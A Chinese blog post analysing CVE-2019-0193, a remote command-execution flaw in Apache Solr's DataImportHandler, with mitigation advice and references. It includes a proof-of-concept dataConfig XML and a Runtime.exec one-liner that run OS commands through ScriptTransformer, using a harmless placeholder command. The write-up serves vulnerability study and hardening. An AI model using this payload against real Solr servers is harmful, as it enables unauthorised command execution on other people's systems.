美文网首页
【技术分享】Solr DataImportHandler组件漏洞

【技术分享】Solr DataImportHandler组件漏洞

作者: 安全乐观主义 | 来源:发表于2019-12-18 15:37 被阅读0次

    编号

    CVE-2019-0193

    漏洞简介

    DataImportHandler是一个可选但使用广泛的模块,默认不启用,用于从数据库和其他源中提取数据,它有一个特性即整个DIH配置可以来自一个请求的“dataConfig”参数。DIH管理的调试模式使用它来方便地调试DIH配置的开发。因为DIH配置可以包含script脚本,所以这个参数存在安全风险。从Solr的8.2.0版本开始,使用这个参数需要设置 Java System property,设置"enable.dih.dataConfigParam" 为 true.。

    漏洞详情

    分析

    漏洞越来越多,每个跟进都需要及时。环境搭建是编制漏洞POC永恒的过程,通过认真进行的环境搭建有助于清晰实际利用的难度,了解应用资产的部署范围、准确梳理漏洞利用思路,切实提出有效的修复方案。

    目标内网机器名越来也规范,架构越来越复杂,不断的扩展网络发现未知后端服务后查找公开资料、exploit-db、cve漏洞,希冀历史poc生效。长期储备攻击手段,了解目标主流技术栈的基本后端业务,攻击才能越来也熟练和自信。

    搭建过程不再赘述,参考资料有较为详细的教程。漏洞利用主要参考披露的有限信息。

    https://lucene.apache.org/solr/guide/6_6/uploading-structured-data-store-data-with-the-data-import-handler.html#the-scripttransformer

    核心实现是org.apache.solr.handler.dataimport下的ScriptTransformer方法

    显然得知,漏洞利用脚本如下。

    poc

    <?xml version="1.0" encoding="UTF-8" ?>  
    <dataConfig>  
    <dataSource name="fromMysql"
         type="JdbcDataSource"  
         driver="com.mysql.jdbc.Driver"  
         url="jdbc:mysql://localhost:3306/mysql"  
         user="root"  
         password="123456"/>
    <script ><![CDATA[
       function f2c(row) {
          var x=new java.lang.ProcessBuilder;x.command("open","/");org.apache.commons.io.IOUtils.toString(x.start().getInputStream());
         return row;
       }
       ]]>
     </script>  
    <document>  
     <entity name="Users" query="SELECT 1" transformer="script:f2c">
     </entity>  
    </document>  
    </dataConfig>

    根本原因是solr的特性ScriptTransformer,称为脚本转换器,使用菜单项的dataimport功能时通过连接数据源获取数据索引,然后触发用户自定义的script处理查询出来的数据,实现命令执行。默认使用java6后支持js的scriptmanager,也支持Javascript, JRuby, Jython, Groovy, BeanShell的写法,通过script的tag指定language,当然lib必须有对应的jar包。但是在java的运行环境中,JavaScript也可以执行命令,因为scriptmanager的机制是可以js调用java代码,所以除了上面的poc外,还有一个支持回显的写法如下。

     print(new java.io.BufferedReader( new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(\"open .\").getInputStream())).readLine())

    虽然这个功能是后台才能执行,但是solr后台一般是没有认证,官方认为这类软件必须是部署在内部网络的,也提供BASIC和Kerberos插件等身份认证方式。建议启动solr时添加对应的参数,通过java security manager 设置也可以进行安全加固。笔者认为严格来说并不能算是安全漏洞,仅仅是安全设计问题,只是支持的功能特性的范围太宽泛了。

    搜集处理

    利用完毕后,将相关漏洞代码纳入Vulncode-DB,作为同类型漏洞挖掘的知识储备。

    参考资料

    https://www.freebuf.com/sectool/159970.html

    https://www.openwall.com/lists/oss-security/2019/08/01/1

    https://nvd.nist.gov/vuln/detail/CVE-2019-0193

    https://issues.apache.org/jira/browse/SOLR-13669

    http://lucene.apache.org/solr/guide/8_1/uploading-structured-data-store-data-with-the-data-import-handler.html#the-scripttransformer

    相关文章

      网友评论

          本文标题:【技术分享】Solr DataImportHandler组件漏洞

          本文链接:https://www.haomeiwen.com/subject/zajunctx.html